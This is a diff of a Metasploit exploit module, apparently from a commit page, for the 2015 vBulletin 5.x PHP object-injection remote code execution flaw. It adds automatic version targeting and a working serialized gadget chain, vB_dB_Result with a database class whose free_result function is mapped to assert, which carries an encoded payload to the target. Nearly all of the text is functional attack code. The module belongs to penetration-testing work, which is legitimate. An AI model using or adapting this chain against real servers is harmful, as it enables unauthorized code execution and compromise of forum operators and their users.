@@ -35,7 +35,11 @@ def initialize(info = {})
35
35
[ 'URL' , 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/' ]
36
36
] ,
37
37
'Arch' => ARCH_PHP ,
38
- 'Targets' => [ [ 'vBulletin 5.1.2' , { } ] ] ,
38
+ 'Targets' => [
39
+ [ 'Automatic Targeting' , { 'auto' => true } ] ,
40
+ [ 'vBulletin 5.0.X' , { 'chain' => 'vB_Database' } ] ,
41
+ [ 'vBulletin 5.1.X' , { 'chain' => 'vB_Database_MySQLi' } ] ,
42
+ ] ,
39
43
'DisclosureDate' => 'Nov 4 2015' ,
40
44
'DefaultTarget' => 0 ) )
41
45
@@ -46,18 +50,45 @@ def initialize(info = {})
46
50
end
47
51
48
52
def check
49
- res = send_request_cgi ( { 'uri' => target_uri . path } )
50
- if ( res && res . body . include? ( "Version 5.1." ) && res . body . include? ( 'Copyright © 2015 vBulletin Solutions, Inc.' ) )
51
- return Exploit ::CheckCode ::Appears
52
- else
53
- return Exploit ::CheckCode ::Unknown
54
- end
55
- Exploit ::CheckCode ::Safe
53
+ begin
54
+ res = send_request_cgi ( { 'uri' => target_uri . path } )
55
+ if ( res && res . body . include? ( 'vBulletin Solutions, Inc.' ) )
56
+ if res . body . include? ( "Version 5.0" )
57
+ @my_target = targets [ 1 ] if target [ 'auto' ]
58
+ return Exploit ::CheckCode ::Appears
59
+ elsif res . body . include? ( "Version 5.1" )
60
+ @my_target = targets [ 2 ] if target [ 'auto' ]
61
+ return Exploit ::CheckCode ::Appears
62
+ else
63
+ return Exploit ::CheckCode ::Detected
64
+ end
65
+ end
66
+ rescue ::Rex ::ConnectionError
67
+ return Exploit ::CheckCode ::Safe
68
+ end
56
69
end
57
70
58
71
def exploit
72
+ print_status ( "#{ peer } - Trying to inferprint the instance..." )
73
+
74
+ @my_target = target
75
+ check_code = check
76
+
77
+ unless check_code == Exploit ::CheckCode ::Detected || check_code == Exploit ::CheckCode ::Appears
78
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to detect a vulnerable instance" )
79
+ end
80
+
81
+ if @my_target . nil? || @my_target [ 'auto' ]
82
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to auto detect, try setting a manual target..." )
83
+ end
84
+
85
+ print_status ( "#{ peer } - Exploiting #{ @my_target . name } ..." )
59
86
60
- chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
87
+ chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
88
+ chain << @my_target [ "chain" ] . length . to_s
89
+ chain << ':"'
90
+ chain << @my_target [ "chain" ]
91
+ chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
61
92
chain << "#{ payload . encoded . length } :\" #{ payload . encoded } \" ;}"
62
93
63
94
chain = Rex ::Text . uri_encode ( chain )
0 commit comments